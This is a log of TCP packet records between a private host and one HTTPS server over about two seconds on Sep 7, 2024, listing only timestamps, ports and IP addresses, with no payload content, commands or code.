Sep 7, 2024 23:15:22.007128954 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.007150888 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.007189035 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.007286072 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.007302046 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.007354021 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.007361889 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.007396936 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.007539988 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.007566929 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.007590055 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.007595062 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.007627964 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.007652044 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.007986069 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.007999897 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.008068085 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.008075953 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.008116007 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.044600964 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.044620037 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.044665098 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.044708967 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.044730902 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.044744968 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.044774055 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.044785976 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.044820070 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.044845104 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.044868946 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.044883013 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.044929981 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.094882011 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.094911098 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.094990969 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.095001936 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.095058918 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.095081091 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.095108986 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.095114946 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.095144033 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.095367908 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.095381975 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.095428944 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.095438004 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.095457077 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.095707893 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.095726967 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.095947027 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.095953941 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.130198002 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.130211115 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.130271912 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.130287886 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.130299091 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.130469084 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.130489111 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.130525112 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.130532980 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.130558014 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.130877972 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.130892992 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.130956888 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.130964041 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.131191969 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.131217003 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.131246090 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.131253958 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.131283045 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.183403969 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.183415890 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.183520079 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.183541059 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.183778048 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.183795929 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.183847904 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.183856010 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.183881998 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.184010983 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.184031010 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.184073925 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.184082031 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.184256077 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.184273005 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.184318066 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.184324980 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.184349060 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.218856096 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.218868971 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.219022036 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.219042063 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.219182014 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.219201088 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.219229937 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.219238043 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.219257116 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.219433069 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.219444990 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.219497919 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.219506025 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.219796896 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.219820023 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.219866991 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.219877958 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.269099951 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.272424936 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.272444010 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.272537947 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.272571087 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.272613049 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.272970915 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.272984982 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.273042917 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.273052931 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.273087025 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.273555040 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.273570061 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.273642063 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.273660898 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.273674011 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.273695946 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.273700953 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.273711920 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.273725033 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.273758888 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.307322979 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.307354927 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.307544947 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.307581902 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.307621956 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.307764053 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.307779074 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.307826996 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.307835102 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.307867050 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.307887077 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.307907104 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.307946920 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.307955027 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.307986975 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.308278084 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.308294058 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.308346987 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.308355093 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.308387995 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.361072063 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.361087084 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.361270905 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.361303091 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.361346960 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.361723900 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.361737967 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.361798048 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.361805916 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.361870050 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.362366915 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.362381935 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.362436056 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.362445116 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.362483025 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.362621069 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.362634897 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.362678051 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.362687111 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.362756014 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.397252083 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.397267103 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.397413969 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.397459030 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.397504091 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.397557020 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.397572041 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.397627115 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.397634983 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.397671938 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.397830963 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.397851944 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.397891998 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.397897959 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.397926092 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.397945881 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.398183107 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.398197889 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.398252010 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.398264885 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.398304939 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.449506998 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.449525118 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.449712038 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.449739933 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.449784040 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.450095892 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.450118065 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.450171947 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.450185061 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.450201035 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.450217962 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.450582981 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.450598001 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.450664043 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.450673103 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.450711012 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.451015949 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.451029062 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.451096058 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.451102972 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.451141119 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.511779070 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.511792898 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.511857033 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.512051105 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.512082100 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.512203932 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.512211084 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.512228012 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.512254000 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.512274981 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.512387037 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.512397051 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.512629986 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.512644053 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.512691021 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.512698889 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.512803078 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.512821913 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.512854099 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.512861967 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.512908936 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.513272047 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.513286114 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.513325930 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.513336897 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.513345957 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.513360977 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.513370991 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.513412952 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.513482094 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.513498068 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.513542891 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.513549089 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.513585091 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.513621092 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.513645887 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.513686895 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.513694048 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.513730049 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.514322996 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.514343023 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.514439106 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.514446020 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.514456987 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.514475107 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.514564037 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.514569998 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.514607906 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.514621973 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.514647961 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.514655113 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.514750957 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.515192986 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.515211105 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.515261889 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.515269041 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.515305042 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.515330076 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.515348911 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.515377998 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.515383005 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.515403032 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.515420914 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.515480042 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.515500069 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.515542030 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.515549898 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.515585899 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.516160011 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.516180992 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.516216040 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.516222954 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.516239882 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.516263962 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.516305923 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.516321898 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.516359091 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.516365051 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.516375065 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.516392946 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.516400099 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.516405106 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.516418934 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.516433954 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.516468048 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.516535044 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.516551971 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.516596079 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.516603947 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.516642094 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.517297983 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.517313957 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.517350912 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.517364025 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.517373085 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.517396927 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.517427921 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.517535925 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.517549992 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.517596006 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.517601967 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.518112898 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.518131018 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.518165112 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.518172979 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.518197060 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.518481970 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.518496037 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.518546104 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.518554926 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.518770933 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.518790960 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.518830061 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.518841982 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.519041061 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.519058943 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.519085884 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.519093990 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.519107103 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.519160986 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.519180059 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.519208908 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.519217968 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.519232035 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.519304037 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.519319057 CEST	443	49706	138.199.36.9	192.168.2.8
